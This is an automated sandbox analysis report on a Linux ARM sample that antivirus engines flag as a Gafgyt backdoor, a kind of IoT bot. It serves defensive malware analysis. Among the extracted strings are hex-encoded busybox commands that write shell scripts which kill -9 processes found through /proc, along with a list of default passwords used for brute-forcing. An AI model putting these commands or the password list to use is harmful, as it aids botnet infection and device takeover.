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Linux Analysis Report
arm5.elf

Overview

General Information

Sample name:	arm5.elf
Analysis ID:	1654459
MD5:	86e67690c30c8967d803e0f609259b54
SHA1:	566448bd1e208b19526d19b4a547c4311a92b866
SHA256:	3db8ba259d2aea79d95aaa9ddb8f5d5fb45e7122b98ab150992506a64daecb6c
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	48
Range:	0 - 100

Signatures

Multi AV Scanner detection for submitted file

Enumerates processes within the "proc" file system

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample contains strings indicative of password brute-forcing capabilities

Sample has stripped symbol table

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1654459
Start date and time:	2025-04-02 11:20:14 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 32s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	arm5.elf
Detection:	MAL
Classification:	mal48.linELF@0/4@2/0

Runtime Messages

Command:	/tmp/arm5.elf
PID:	5532
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	For God so loved the world
Standard Error:

Process Tree

system is lnxubuntu20

arm5.elf (PID: 5532, Parent: 5452, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/arm5.elf

arm5.elf New Fork (PID: 5536, Parent: 5532)

cleanup

Yara Signatures

⊘No yara matches

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

• AV Detection
• Networking
• System Summary
• Persistence and Installation Behavior
• Malware Analysis System Evasion

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: arm5.elf	ReversingLabs: Detection: 41%
Source: arm5.elf	Virustotal: Detection: 42%			Perma Link

Source: /tmp/arm5.elf (PID: 5536)

Socket: 127.0.0.1:22448

Jump to behavior

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: daisy.ubuntu.com

Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x77\x68\x69\x6c\x65\x20\x72\x65\x61\x64\x20\x2d\x72\x20\x6c\x3b\x20\x64\x6f\x20\x6d\x70\x3d\x24\x28\x65\x63\x68\x6f\x20\x22\x24" > kmount
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x6c\x22\x20\x7c\x20\x61\x77\x6b\x20\x27\x7b\x70\x72\x69\x6e\x74\x20\x24\x32\x7d\x27\x20\x7c\x20\x73\x65\x64\x20\x27\x73\x2f\x5c" >> kmount
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x5c\x30\x34\x30\x2f\x20\x2f\x67\x27\x29\x3b\x20\x63\x61\x73\x65\x20\x22\x24\x6d\x70\x22\x20\x69\x6e\x20\x2f\x70\x72\x6f\x63\x2f" >> kmount
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x5b\x30\x2d\x39\x5d\x2a\x29\x20\x70\x69\x64\x3d\x24\x7b\x6d\x70\x23\x2f\x70\x72\x6f\x63\x2f\x7d\x3b\x20\x5b\x20\x2d\x64\x20\x22" >> kmount
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x2f\x70\x72\x6f\x63\x2f\x24\x70\x69\x64\x22\x20\x5d\x20\x26\x26\x20\x6b\x69\x6c\x6c\x20\x2d\x39\x20\x22\x24\x70\x69\x64\x22\x20" >> kmount
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x32\x3e\x2f\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x26\x26\x20\x75\x6d\x6f\x75\x6e\x74\x20\x22\x24\x6d\x70\x22\x20\x32\x3e\x2f\x64" >> kmount
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x65\x76\x2f\x6e\x75\x6c\x6c\x3b\x3b\x20\x65\x73\x61\x63\x3b\x20\x64\x6f\x6e\x65\x20\x3c\x20\x2f\x70\x72\x6f\x63\x2f\x6d\x6f\x75" >> kmount
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x6e\x74\x73" >> kmount
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x66\x6f\x72\x20\x70\x69\x64\x20\x69\x6e\x20\x2f\x70\x72\x6f\x63\x2f\x5b\x30\x2d\x39\x5d\x2a\x3b\x20\x64\x6f\x20\x70\x69\x64\x5f" > swan
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x6e\x75\x6d\x3d\x22\x24\x7b\x70\x69\x64\x23\x23\x2a\x2f\x7d\x22\x3b\x20\x69\x66\x20\x5b\x20\x2d\x72\x20\x22\x24\x70\x69\x64\x2f" >> swan
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x6d\x61\x70\x73\x22\x20\x5d\x3b\x20\x74\x68\x65\x6e\x20\x73\x75\x73\x70\x69\x63\x69\x6f\x75\x73\x3d\x74\x72\x75\x65\x3b\x20\x77" >> swan
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x68\x69\x6c\x65\x20\x49\x46\x53\x3d\x20\x72\x65\x61\x64\x20\x2d\x72\x20\x6c\x69\x6e\x65\x3b\x20\x64\x6f\x20\x63\x61\x73\x65\x20" >> swan
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x22\x24\x6c\x69\x6e\x65\x22\x20\x69\x6e\x20\x2a\x22\x2f\x6c\x69\x62\x2f\x22\x2a\x7c\x2a\x22\x2f\x6c\x69\x62\x36\x34\x2f\x22\x2a" >> swan
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x7c\x2a\x22\x2e\x73\x6f\x22\x2a\x29\x20\x73\x75\x73\x70\x69\x63\x69\x6f\x75\x73\x3d\x66\x61\x6c\x73\x65\x3b\x20\x62\x72\x65\x61" >> swan
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x6b\x3b\x3b\x20\x65\x73\x61\x63\x3b\x20\x64\x6f\x6e\x65\x20\x3c\x20\x22\x24\x70\x69\x64\x2f\x6d\x61\x70\x73\x22\x3b\x20\x69\x66" >> swan
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x20\x5b\x20\x22\x24\x73\x75\x73\x70\x69\x63\x69\x6f\x75\x73\x22\x20\x3d\x20\x74\x72\x75\x65\x20\x5d\x3b\x20\x74\x68\x65\x6e\x20" >> swan
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x6b\x69\x6c\x6c\x20\x2d\x39\x20\x22\x24\x70\x69\x64\x5f\x6e\x75\x6d\x22\x3b\x20\x66\x69\x3b\x20\x66\x69\x3b\x20\x64\x6f\x6e\x65" >> swan
Source: Initial sample	String containing 'busybox' found: sh kmount/bin/busybox echo -ne "\x66\x6f\x72\x20\x70\x69\x64\x20\x69\x6e\x20\x2f\x70\x72\x6f\x63\x2f\x5b\x30\x2d\x39\x5d\x2a\x3b\x20\x64\x6f\x20\x70\x69\x64\x5f" > swan

Source: Initial sample	String containing potential weak password found: 12345
Source: Initial sample	String containing potential weak password found: 54321
Source: Initial sample	String containing potential weak password found: 654321
Source: Initial sample	String containing potential weak password found: admin1234
Source: Initial sample	String containing potential weak password found: administrator
Source: Initial sample	String containing potential weak password found: supervisor
Source: Initial sample	String containing potential weak password found: password
Source: Initial sample	String containing potential weak password found: default
Source: Initial sample	String containing potential weak password found: guest
Source: Initial sample	String containing potential weak password found: service
Source: Initial sample	String containing potential weak password found: support

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal48.linELF@0/4@2/0

Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/231/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/233/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/1333/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/1333/fd	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/1333/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/1695/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/1695/fd	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/1695/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/118/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/119/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/911/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/914/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/3876/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/3876/fd	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/3876/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/10/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/917/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/917/fd	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/917/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/11/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/12/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/13/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/14/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/15/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/16/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/17/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/18/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/19/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/1591/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/1591/fd	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/1591/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/120/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/121/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/1/maps	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/1/fd	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/122/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/243/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/2/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/123/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/3/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/124/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/1588/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/1588/fd	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/1588/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/125/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/4/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/246/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/126/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/5/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/127/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/6/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/1585/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/1585/fd	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/1585/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/128/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/7/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/129/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/8/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/800/fd	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/9/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/802/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/802/fd	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/802/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/803/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/803/fd	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/803/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/804/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/804/fd	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/804/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/20/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/21/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/3407/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/3407/fd	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/3407/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/22/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/23/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/24/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/25/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/26/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/27/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/28/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/29/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/1484/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/1484/fd	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/1484/maps	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/1484/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/490/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/490/fd	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/490/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/250/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/130/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 5532)	File opened: /proc/251/cmdline	Jump to behavior

Source: /tmp/arm5.elf (PID: 5532)

Queries kernel information via 'uname':

Jump to behavior

Source: arm5.elf, 5532.1.00007ffcbff1a000.00007ffcbff3b000.rw-.sdmp	Binary or memory string: /tmp/qemu-open.WoMnMv
Source: arm5.elf, 5532.1.00007ffcbff1a000.00007ffcbff3b000.rw-.sdmp, arm5.elf, 5536.1.00007ffcbff1a000.00007ffcbff3b000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/arm5.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/arm5.elf
Source: arm5.elf, 5536.1.00007f9a3003a000.00007f9a30041000.rw-.sdmp	Binary or memory string: vmware
Source: arm5.elf, 5532.1.000055fae2210000.000055fae235f000.rw-.sdmp, arm5.elf, 5536.1.000055fae2210000.000055fae235f000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/arm
Source: arm5.elf, 5532.1.00007f9a3003a000.00007f9a30041000.rw-.sdmp, arm5.elf, 5536.1.00007f9a3003a000.00007f9a30041000.rw-.sdmp	Binary or memory string: qemu-arm
Source: arm5.elf, 5536.1.00007ffcbff1a000.00007ffcbff3b000.rw-.sdmp	Binary or memory string: Uqemu: uncaught target signal 11 (Segmentation fault) - core dumped
Source: arm5.elf, 5532.1.000055fae2210000.000055fae235f000.rw-.sdmp, arm5.elf, 5536.1.000055fae2210000.000055fae235f000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: arm5.elf, 5532.1.00007ffcbff1a000.00007ffcbff3b000.rw-.sdmp, arm5.elf, 5536.1.00007ffcbff1a000.00007ffcbff3b000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: arm5.elf, 5536.1.00007ffcbff1a000.00007ffcbff3b000.rw-.sdmp	Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped
Source: arm5.elf, 5532.1.00007ffcbff1a000.00007ffcbff3b000.rw-.sdmp	Binary or memory string: U/tmp/qemu-open.WoMnMv:
Source: arm5.elf, 5532.1.00007f9a3003a000.00007f9a30041000.rw-.sdmp, arm5.elf, 5536.1.00007f9a3003a000.00007f9a30041000.rw-.sdmp	Binary or memory string: !!a1gAWFxuAXsFWUgBRQAA!!a1gAWFxuAXsAWUgKRXgA!!a1gAWFxuAXsAWEgJR3IA!!a10CWFxuAHsGWVcWQHAA!!a10CWFxuAHsGWVcWQHUA!!aFwAWF9uA3sGW0gLRgAA!!aFwAWFlpG2QBW0gJTwAA!!qemu-arm2QBW0gJTwAA!

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Application Layer Protocol	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	1 Brute Force	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Screenshots

Download Video

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
arm5.elf	42%	ReversingLabs	Linux.Backdoor.Gafgyt
arm5.elf	42%	Virustotal		Browse

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
daisy.ubuntu.com	162.213.35.24	true	false		high

World Map of Contacted IPs

⊘No contacted IP infos

Joe Sandbox View / Context

IPs

⊘No context

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
daisy.ubuntu.com	efea6.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	xd.powerpc-440fp.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	xd.m68k.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	xd.ppc.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	xd.i686.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	xd.arm6.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	xd.arc.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	mpsl.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	sh4.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	s-h.4-.Sakura.elf	Get hash	malicious	Gafgyt, Mirai	Browse	162.213.35.24

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

/tmp/qemu-open.Mbn3Aw (deleted)

Download File

Process:	/tmp/arm5.elf
File Type:	data
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.521640636343319
Encrypted:	false
SSDEEP:	3:TggLAJ5:Tgg03
MD5:	A737667E3E61E716C83359F35BC141DA
SHA1:	E7C3DBC96B90E28F18CFB1CADE0C7AF673FFAA57
SHA-256:	2D8A0F430A3339E16B223D653251534539D95B1DF7142834F68D9172B1656E37
SHA-512:	0ACAFC3F3F40EDEF3D9F2F1CCE09BAF5004FD8488434F4903F18B9B7E77B4A6CDF7F84A47856CB2FDAA4B1B0F70FC2A3EDDE82BD29831FF54CB75F4E4C74FE74
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	/tmp/arm5.elf.

/tmp/qemu-open.WoMnMv (deleted)

Download File

Process:	/tmp/arm5.elf
File Type:	data
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.521640636343319
Encrypted:	false
SSDEEP:	3:TggLAJ5:Tgg03
MD5:	A737667E3E61E716C83359F35BC141DA
SHA1:	E7C3DBC96B90E28F18CFB1CADE0C7AF673FFAA57
SHA-256:	2D8A0F430A3339E16B223D653251534539D95B1DF7142834F68D9172B1656E37
SHA-512:	0ACAFC3F3F40EDEF3D9F2F1CCE09BAF5004FD8488434F4903F18B9B7E77B4A6CDF7F84A47856CB2FDAA4B1B0F70FC2A3EDDE82BD29831FF54CB75F4E4C74FE74
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	/tmp/arm5.elf.

/tmp/qemu-open.qZDeUw (deleted)

Download File

Process:	/tmp/arm5.elf
File Type:	data
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.521640636343319
Encrypted:	false
SSDEEP:	3:TggLAJ5:Tgg03
MD5:	A737667E3E61E716C83359F35BC141DA
SHA1:	E7C3DBC96B90E28F18CFB1CADE0C7AF673FFAA57
SHA-256:	2D8A0F430A3339E16B223D653251534539D95B1DF7142834F68D9172B1656E37
SHA-512:	0ACAFC3F3F40EDEF3D9F2F1CCE09BAF5004FD8488434F4903F18B9B7E77B4A6CDF7F84A47856CB2FDAA4B1B0F70FC2A3EDDE82BD29831FF54CB75F4E4C74FE74
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	/tmp/arm5.elf.

/tmp/qemu-open.yHyydt (deleted)

Download File

Process:	/tmp/arm5.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	355
Entropy (8bit):	3.818462439917049
Encrypted:	false
SSDEEP:	6:M6gDFz0H/VU8VbsDFz0NNVFT/V/3VVyAb/rVmsVot/VOArB/VH:3YB02EbEB0TvVVIAbyl
MD5:	108AABC01874821C9209A280F1CAA40B
SHA1:	1927FB56D02AB5DBAEF3D09021176BC13BDF798F
SHA-256:	F51D934C20EE51DBA123B78ECDB54EF63DA8D3F03A15B6AB17EBFD42C5BD6F1D
SHA-512:	B168F18E38AD72F8B8B5A07DF3CB56ABE406EC07865EFDBAAD0EFB60C5D092CB6B046692248918223AB47E620D7EDAF06B902EEEB302C1C2AF83A7F7F9874A7F
Malicious:	false
Reputation:	low
Preview:	8000-22000 r-xp 00000000 fd:00 531606 /tmp/arm5.elf.2a000-2b000 rw-p 0001a000 fd:00 531606 /tmp/arm5.elf.2b000-32000 rw-p 00000000 00:00 0 .ff7ee000-ff7ef000 r--p 00000000 fd:00 793309 /usr/lib/x86_64-linux-gnu/libm-2.31.so.ff7ef000-ff7f0000 ---p 00000000 00:00 0 .ff7f0000-ffff0000 rw-p 00000000 00:00 0 [stack].

Static File Info

General

File type:	ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), dynamically linked, stripped
Entropy (8bit):	6.150599367260582
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	arm5.elf
File size:	107'272 bytes
MD5:	86e67690c30c8967d803e0f609259b54
SHA1:	566448bd1e208b19526d19b4a547c4311a92b866
SHA256:	3db8ba259d2aea79d95aaa9ddb8f5d5fb45e7122b98ab150992506a64daecb6c
SHA512:	56b279fda6f57bbaf35cf36f6067287dbb47fc96048efbe0d7612a1ff47f10a7f21b02b3ea6ed517280689a7938b8d420f86ecf4af1bfb20dde7ab6b8d347df8
SSDEEP:	3072:/wyIxMYZtAjVXtzULUYnN8tZdSzcrrFmulElrrhCadM:/wyIxMYZtY9HYKo+Fm0ElPh2
TLSH:	A4A30999B8919B66C5D406BFFE1F528D33231BF8E2DB3107DD14AB2077CA51A092F541
File Content Preview:	.ELF..............(.....l...4...(.......4. ...(.........T...T...T.......................................................................TH...........................................@-..@............/..@-.,@...0....S..... 0....S.........../..0...0...@..../

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x816c
Flags:	0x4000002
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	4
Section Header Offset:	106792
Section Header Size:	40
Number of Section Headers:	12
Header String Table Index:	11

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Link	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0	0
.init	PROGBITS	0x80b4	0xb4	0x14	0x0	0x6	AX	0	1
.text	PROGBITS	0x80c8	0xc8	0x16fdc	0x0	0x6	AX	0	4
.fini	PROGBITS	0x1f0a4	0x170a4	0x14	0x0	0x6	AX	0	1
.rodata	PROGBITS	0x1f0b8	0x170b8	0x289c	0x0	0x2	A	0	4
.ARM.exidx	ARM_EXIDX	0x21954	0x19954	0xc8	0x0	0x82	AL	2	4
.init_array	INIT_ARRAY	0x2a004	0x1a004	0x4	0x0	0x3	WA	0	4
.fini_array	FINI_ARRAY	0x2a008	0x1a008	0x4	0x0	0x3	WA	0	4
.got	PROGBITS	0x2a010	0x1a010	0x28	0x4	0x3	WA	0	4
.data	PROGBITS	0x2a038	0x1a038	0x98	0x0	0x3	WA	0	4
.bss	NOBITS	0x2a0d0	0x1a0d0	0x4788	0x0	0x3	WA	0	8
.shstrtab	STRTAB	0x0	0x1a0d0	0x58	0x0	0x0		0	1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
DYNAMIC	0x19954	0x21954	0x21954	0xc8	0xc8	4.3297	0x4	R	0x4	.ARM.exidx
LOAD	0x0	0x8000	0x8000	0x19a1c	0x19a1c	6.2106	0x5	R E	0x8000	.init .text .fini .rodata .ARM.exidx
LOAD	0x1a004	0x2a004	0x2a004	0xcc	0x4854	3.6364	0x6	RW	0x8000	.init_array .fini_array .got .data .bss
DYNAMIC	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

Download Network PCAP: filtered – full

